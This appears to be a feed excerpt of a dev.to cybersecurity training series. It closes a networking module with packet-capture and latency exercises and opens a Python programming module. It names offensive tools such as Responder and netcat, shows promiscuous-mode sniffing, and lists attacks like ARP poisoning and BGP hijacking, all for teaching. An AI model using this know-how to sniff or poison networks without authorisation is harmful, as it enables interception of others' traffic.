&lt;span class="c"&gt;# 6. Trace the path to a destination&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8               &lt;span class="c"&gt;# Map the route&lt;/span&gt;
&lt;span class="c"&gt;# Count hops, note where latency jumps — that jump indicates a geographic boundary&lt;/span&gt;

&lt;span class="c"&gt;# 7. Capture raw traffic with tcpdump&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 50 &lt;span class="nt"&gt;-n&lt;/span&gt;       &lt;span class="c"&gt;# Capture 50 packets, no DNS resolution&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 broadcast      &lt;span class="c"&gt;# Only broadcast traffic&lt;/span&gt;
&lt;span class="c"&gt;# Observe: what protocols are using broadcast?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Broadcast Traffic Analysis (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture and analyse broadcast traffic to understand what your network reveals&lt;/span&gt;

&lt;span class="c"&gt;# 1. Capture all broadcast traffic for 60 seconds&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/broadcast.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s1"&gt;'ether dst ff:ff:ff:ff:ff:ff or ip dst 255.255.255.255'&lt;/span&gt; &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;60
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# 2. Analyse in Wireshark&lt;/span&gt;
wireshark /tmp/broadcast.pcap

&lt;span class="c"&gt;# Questions to answer:&lt;/span&gt;
&lt;span class="c"&gt;# - What protocols are using broadcast?&lt;/span&gt;
&lt;span class="c"&gt;# - What device information is revealed by the broadcasts?&lt;/span&gt;
&lt;span class="c"&gt;# - Can you identify device types from MAC OUIs?&lt;/span&gt;
&lt;span class="c"&gt;# - What LLMNR/mDNS queries are visible (if any)?&lt;/span&gt;
&lt;span class="c"&gt;# - What ARP traffic do you see?&lt;/span&gt;

&lt;span class="c"&gt;# 3. Run Responder in analyse mode (no poisoning — observe only)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt;           &lt;span class="c"&gt;# -A = analyse mode only, no responses&lt;/span&gt;
&lt;span class="c"&gt;# What name resolution broadcasts appear?&lt;/span&gt;
&lt;span class="c"&gt;# This shows you what Responder would capture in an active attack&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Packet Structure Deep Dive (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture and manually dissect packets to understand encapsulation&lt;/span&gt;

&lt;span class="c"&gt;# 1. Capture HTTP traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/http.pcap port 80

&lt;span class="c"&gt;# In another terminal, generate HTTP traffic:&lt;/span&gt;
curl http://neverssl.com

&lt;span class="c"&gt;# 2. Open in Wireshark and examine:&lt;/span&gt;
wireshark /tmp/http.pcap

&lt;span class="c"&gt;# For each packet, expand every layer:&lt;/span&gt;
&lt;span class="c"&gt;# - Ethernet II header: source/dest MAC, EtherType&lt;/span&gt;
&lt;span class="c"&gt;# - IPv4 header: source/dest IP, TTL, Protocol, fragmentation fields&lt;/span&gt;
&lt;span class="c"&gt;# - TCP header: source/dest port, sequence/ack numbers, flags, window size&lt;/span&gt;
&lt;span class="c"&gt;# - HTTP: method, URI, headers, body&lt;/span&gt;

&lt;span class="c"&gt;# 3. Find the TCP handshake (SYN, SYN-ACK, ACK)&lt;/span&gt;
&lt;span class="c"&gt;# Right-click → Follow → TCP Stream to see the entire conversation&lt;/span&gt;

&lt;span class="c"&gt;# 4. Check the TTL to fingerprint the remote OS&lt;/span&gt;
&lt;span class="c"&gt;# Filter: ip.dst == your_ip&lt;/span&gt;
&lt;span class="c"&gt;# Look at TTL of incoming packets — 64=Linux/Mac, 128=Windows, 255=Cisco&lt;/span&gt;

&lt;span class="c"&gt;# 5. Capture ICMP (ping) and observe packet structure&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 3 8.8.8.8 &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/icmp.pcap icmp
wireshark /tmp/icmp.pcap
&lt;span class="c"&gt;# Observe ICMP echo request vs echo reply, sequence numbers, TTL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Bandwidth and Latency Measurement (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Measure actual network performance metrics&lt;/span&gt;

&lt;span class="c"&gt;# 1. Latency + jitter measurement&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 100 8.8.8.8
&lt;span class="c"&gt;# From the summary line, note: min/avg/max/stddev&lt;/span&gt;
&lt;span class="c"&gt;# stddev IS jitter — how variable is the latency?&lt;/span&gt;

&lt;span class="c"&gt;# Compare:&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 100 &lt;span class="si"&gt;$(&lt;/span&gt;ip route | &lt;span class="nb"&gt;grep &lt;/span&gt;default | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;# Gateway (LAN)&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 100 8.8.8.8                                          &lt;span class="c"&gt;# Internet&lt;/span&gt;

&lt;span class="c"&gt;# 2. Path latency analysis with traceroute&lt;/span&gt;
mtr 8.8.8.8                         &lt;span class="c"&gt;# Interactive traceroute with statistics&lt;/span&gt;
&lt;span class="c"&gt;# Run for 30 seconds, observe:&lt;/span&gt;
&lt;span class="c"&gt;# - Where does latency jump? (Geographic or ISP boundary)&lt;/span&gt;
&lt;span class="c"&gt;# - Where is packet loss? (Overloaded router)&lt;/span&gt;
&lt;span class="c"&gt;# - How consistent is each hop? (Jitter per hop)&lt;/span&gt;

&lt;span class="c"&gt;# 3. Bandwidth test (if iperf3 server available)&lt;/span&gt;
&lt;span class="c"&gt;# Run your own: on any Linux machine you can SSH into:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-s&lt;/span&gt;                            &lt;span class="c"&gt;# Start server&lt;/span&gt;
&lt;span class="c"&gt;# On client:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip                  &lt;span class="c"&gt;# Test TCP throughput&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; 0         &lt;span class="c"&gt;# Test UDP (unlimited — shows max)&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;--bidir&lt;/span&gt;         &lt;span class="c"&gt;# Bidirectional test&lt;/span&gt;

&lt;span class="c"&gt;# 4. Python jitter measurement script&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;PYTHON&lt;/span&gt;&lt;span class="sh"&gt;'
import subprocess, re, statistics

def measure_ping(host, count=20):
    result = subprocess.run(
        ['ping', '-c', str(count), host],
        capture_output=True, text=True
    )
    times = re.findall(r'time=(&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="sh"&gt;+&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="sh"&gt;*)', result.stdout)
    times = [float(t) for t in times]
    if times:
        print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Target: {host}")
        print(f"Packets: {len(times)}")
        print(f"Min: {min(times):.2f}ms")
        print(f"Max: {max(times):.2f}ms")
        print(f"Avg: {statistics.mean(times):.2f}ms")
        print(f"Jitter (stddev): {statistics.stdev(times):.2f}ms")

measure_ping("192.168.1.1")   # Gateway
measure_ping("8.8.8.8")       # Internet
&lt;/span&gt;&lt;span class="no"&gt;PYTHON
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: Unicast vs Broadcast Capture (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# See the difference between unicast and broadcast at the packet level&lt;/span&gt;

&lt;span class="c"&gt;# 1. Capture broadcast traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'ether dst ff:ff:ff:ff:ff:ff'&lt;/span&gt;
&lt;span class="c"&gt;# -e = show link-level (Ethernet) headers including MAC addresses&lt;/span&gt;
&lt;span class="c"&gt;# Observe: what protocols send to ff:ff:ff:ff:ff:ff?&lt;/span&gt;

&lt;span class="c"&gt;# 2. Trigger an ARP broadcast manually&lt;/span&gt;
&lt;span class="c"&gt;# In another terminal:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arping &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 3 192.168.1.1
&lt;span class="c"&gt;# Back in tcpdump: observe the ARP who-has broadcast&lt;/span&gt;

&lt;span class="c"&gt;# 3. Observe multicast traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'ether dst 01:00:5e:00:00:00/ff:ff:ff:00:00:00'&lt;/span&gt;
&lt;span class="c"&gt;# This filter captures all IPv4 multicast (starts with 01:00:5e)&lt;/span&gt;
&lt;span class="c"&gt;# What do you see? mDNS? OSPF? SSDP?&lt;/span&gt;

&lt;span class="c"&gt;# 4. Set NIC to promiscuous mode and observe all traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 promisc on
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 100  &lt;span class="c"&gt;# Capture 100 frames in promisc mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 promisc off  &lt;span class="c"&gt;# Turn off after exercise&lt;/span&gt;
&lt;span class="c"&gt;# Observe: are you seeing traffic not addressed to your MAC?&lt;/span&gt;
&lt;span class="c"&gt;# (On a switched network, probably not — switches only send relevant traffic)&lt;/span&gt;
&lt;span class="c"&gt;# On Wi-Fi in monitor mode, you would see all traffic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Foundational Papers and RFCs
&lt;/h3&gt;

&lt;p&gt;These are primary sources — the actual specifications that define how these technologies work. Security professionals read RFCs because the attack surface often exists in edge cases of the specification.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RFC 791&lt;/strong&gt; — Internet Protocol (IPv4). The original IP specification. Sections on fragmentation are particularly relevant.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 826&lt;/strong&gt; — ARP. Remarkably short — read it completely. Understanding the simplicity of ARP makes ARP poisoning obvious.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 1918&lt;/strong&gt; — Address Allocation for Private Internets. Defines 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 4271&lt;/strong&gt; — BGP-4. Understanding BGP is essential for understanding internet-scale routing vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 4443&lt;/strong&gt; — ICMPv6. Understanding ICMP is essential for understanding ping flood, redirect, and other ICMP-based attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Books
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Computer Networks" — Andrew Tanenbaum.&lt;/strong&gt; The gold standard textbook. Dense but complete. Every network professional should read chapters 1-4.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Network Security Assessment" — Chris McNab (O'Reilly).&lt;/strong&gt; Directly applicable to security assessments. Third edition covers modern techniques.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The Practice of Network Security Monitoring" — Richard Bejtlich.&lt;/strong&gt; How to build a network security monitoring programme using open-source tools. Practical and excellent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Silence on the Wire" — Michal Zalewski.&lt;/strong&gt; A unique perspective on network security — passive eavesdropping, timing attacks, and the information leaked by network traffic. Essential reading.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tools to Install and Master
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# These are the core network analysis tools for this stage&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    wireshark &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# GUI packet analyser — the primary tool&lt;/span&gt;
    tshark &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Command-line Wireshark&lt;/span&gt;
    tcpdump &lt;span class="se"&gt;\ &lt;/span&gt;           &lt;span class="c"&gt;# CLI packet capture — lighter than Wireshark&lt;/span&gt;
    nmap &lt;span class="se"&gt;\ &lt;/span&gt;              &lt;span class="c"&gt;# Network mapper — port scanning, OS detection&lt;/span&gt;
    netcat &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Network Swiss Army knife (nc)&lt;/span&gt;
    iperf3 &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Bandwidth measurement&lt;/span&gt;
    mtr &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# Enhanced traceroute with statistics&lt;/span&gt;
    arp-scan &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# ARP-based host discovery&lt;/span&gt;
    netdiscover &lt;span class="se"&gt;\ &lt;/span&gt;       &lt;span class="c"&gt;# Passive network discovery&lt;/span&gt;
    responder &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# LLMNR/NBT-NS poisoner (Kali includes this)&lt;/span&gt;
    wireshark-doc        &lt;span class="c"&gt;# Wireshark documentation&lt;/span&gt;

&lt;span class="c"&gt;# Python libraries for network work&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;scapy       &lt;span class="c"&gt;# Packet crafting and analysis — the key Python network library&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;dpkt        &lt;span class="c"&gt;# Fast packet parsing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Online Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wireshark sample captures&lt;/strong&gt; — wiki.wireshark.org/SampleCaptures — practice packet analysis with real-world captures of every protocol&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PacketLife.net cheat sheets&lt;/strong&gt; — protocol header reference cards, excellent for quick lookup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IANA Protocol Registry&lt;/strong&gt; — iana.org — authoritative source for protocol numbers, port assignments&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shodan.io&lt;/strong&gt; — search engine for internet-connected devices — gives you a real sense of what is exposed on the internet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BGP Hurricane Electric&lt;/strong&gt; — bgp.he.net — visualise BGP routing, autonomous system information&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Cloudflare Blog&lt;/strong&gt; — blog.cloudflare.com — high-quality technical articles on network attacks, DDoS, BGP, DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe — "Pre-Security" path&lt;/strong&gt; — covers networking fundamentals interactively&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wireshark Challenges&lt;/strong&gt; — on CyberDefenders.org and other blue team platforms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PacketCafe&lt;/strong&gt; — cloud-based packet analysis practice&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CTFtime.org — "network" category&lt;/strong&gt; — real CTF challenges involving packet analysis&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Security Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Network fundamentals&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Why networks are the attack surface and the evidence trail&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PAN (Bluetooth/NFC/Zigbee)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BlueBorne, NFC relay, Zigbee key capture — proximity attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LAN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Primary attack environment — ARP poisoning, MITM, lateral movement, AD attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MAN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;City-scale infrastructure attacks, utility network targeting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WAN/Internet&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BGP hijacking, routing attacks, internet-scale DDoS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bandwidth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DDoS characterisation, exfiltration detection, C2 traffic analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Latency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Timing attacks, network topology mapping, C2 detection via timing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Jitter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OT attack impact, network forensics anomaly detection, DoS characterisation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Frames&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ARP poisoning (Layer 2), MAC spoofing, fragmentation attacks, GOOSE injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Packets&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IP spoofing, TTL fingerprinting, fragmentation evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Broadcast&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLMNR/NBT-NS poisoning (Responder), Smurf attack, ARP spoofing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Multicast&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;mDNS/SSDP enumeration, IEC 61850 GOOSE injection, UPnP attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unicast&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Promiscuous mode sniffing, switched network eavesdropping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Topology&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Attack path analysis, blast radius assessment, segmentation design&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.2-osi-model.md"&gt;Stage 1.2 — OSI Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Stage:&lt;/strong&gt; &lt;a href="//../STAGE-00_Foundations/README.md"&gt;Stage 00 — Foundations&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>networking</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 0.5 — Programming Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sat, 30 May 2026 13:51:16 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-05-programming-fundamentals-45n5</link>
      <guid>https://dev.to/rencberakman/stage-05-programming-fundamentals-45n5</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 0 — Computer Science Foundations&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 0.5 — Programming Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Intermediate&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0.4 — Linux Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Stage:&lt;/strong&gt; Stage 01 — Network Fundamentals&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Programming Is the Multiplier&lt;/li&gt;
&lt;li&gt;Python — The Language of Security&lt;/li&gt;
&lt;li&gt;Variables and Data Types&lt;/li&gt;
&lt;li&gt;Loops and Conditionals&lt;/li&gt;
&lt;li&gt;Functions&lt;/li&gt;
&lt;li&gt;Error Handling&lt;/li&gt;
&lt;li&gt;File Read and Write&lt;/li&gt;
&lt;li&gt;String Operations&lt;/li&gt;
&lt;li&gt;Basic Algorithms&lt;/li&gt;
&lt;li&gt;Security-Oriented Programming Mindset&lt;/li&gt;
&lt;li&gt;Hands-On Projects&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Programming Is the Multiplier
&lt;/h2&gt;

&lt;p&gt;There is a clear ceiling in cybersecurity for people who cannot code. They can run tools built by others. They can follow documented exploitation steps. They can use frameworks someone else developed. But they cannot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Build a custom exploit for a vulnerability that has no public PoC&lt;/li&gt;
&lt;li&gt;Write a script that automates reconnaissance across thousands of targets&lt;/li&gt;
&lt;li&gt;Modify existing tools to evade detection&lt;/li&gt;
&lt;li&gt;Analyse malware source code or reverse engineer compiled binaries&lt;/li&gt;
&lt;li&gt;Build detection logic that catches novel attack patterns&lt;/li&gt;
&lt;li&gt;Create tools tailored to specific OT protocols that no commercial product supports&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Programming removes that ceiling. It turns you from a tool user into a tool builder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The security professional's programming reality:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You do not need to be a software engineer. You do not need to build production-grade applications with clean architecture and unit tests. You need to be able to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Read code and understand what it does&lt;/li&gt;
&lt;li&gt;Write scripts that automate your work&lt;/li&gt;
&lt;li&gt;Modify existing tools for your specific needs&lt;/li&gt;
&lt;li&gt;Understand how vulnerabilities manifest at the code level&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These four abilities are achievable. This module builds the foundation for all of them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Language choice — Python:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every language has advocates. For security work, the choice is Python, and it is not close:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All major security frameworks are Python — Impacket, Scapy, Volatility, pwntools, sqlmap&lt;/li&gt;
&lt;li&gt;Metasploit modules are Ruby but Python scripts are the glue that connects everything&lt;/li&gt;
&lt;li&gt;OSCP, GICSP, and every professional certification assumes Python competence&lt;/li&gt;
&lt;li&gt;The speed from idea to working script is the fastest in Python&lt;/li&gt;
&lt;li&gt;Libraries for every security task exist — socket, struct, ctypes, requests, cryptography, scapy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path:&lt;/strong&gt; Modbus, DNP3, and IEC 60870 all have Python libraries. Writing a custom Modbus scanner, a DNP3 fuzzer, or a script that reads PMU data — all Python. The intersection of industrial protocol knowledge and Python is exactly where the most interesting OT security work happens.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Python — The Language of Security
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Installation and Environment
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check Python version (Python 3.8+ required, 3.10+ recommended)&lt;/span&gt;
python3 &lt;span class="nt"&gt;--version&lt;/span&gt;

&lt;span class="c"&gt;# On Kali/Ubuntu — Python 3 is pre-installed&lt;/span&gt;
&lt;span class="c"&gt;# Verify pip is available&lt;/span&gt;
pip3 &lt;span class="nt"&gt;--version&lt;/span&gt;

&lt;span class="c"&gt;# Create a virtual environment (best practice — isolates project dependencies)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv security_env
&lt;span class="nb"&gt;source &lt;/span&gt;security_env/bin/activate     &lt;span class="c"&gt;# Activate on Linux/Mac&lt;/span&gt;
&lt;span class="c"&gt;# security_env\Scripts\activate      # Activate on Windows&lt;/span&gt;

&lt;span class="c"&gt;# Install packages&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;requests scapy pwntools impacket
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt     &lt;span class="c"&gt;# Install from requirements file&lt;/span&gt;

&lt;span class="c"&gt;# Deactivate virtual environment&lt;/span&gt;
deactivate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Running Python
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Interactive interpreter (REPL — Read Eval Print Loop)&lt;/span&gt;
python3
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Hello"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
